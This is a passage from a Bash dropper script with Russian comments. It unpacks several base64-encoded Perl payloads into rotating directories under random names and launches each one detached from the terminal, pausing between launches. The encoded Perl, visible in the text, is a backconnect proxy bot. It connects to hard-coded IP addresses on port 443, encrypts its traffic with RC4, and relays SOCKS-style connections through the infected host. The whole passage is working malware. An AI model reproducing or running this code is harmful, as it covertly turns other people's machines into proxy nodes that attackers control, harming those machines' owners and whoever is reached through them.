MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #31 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #31 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 32 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xODEnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #32 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #32 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 33 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNTInOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw 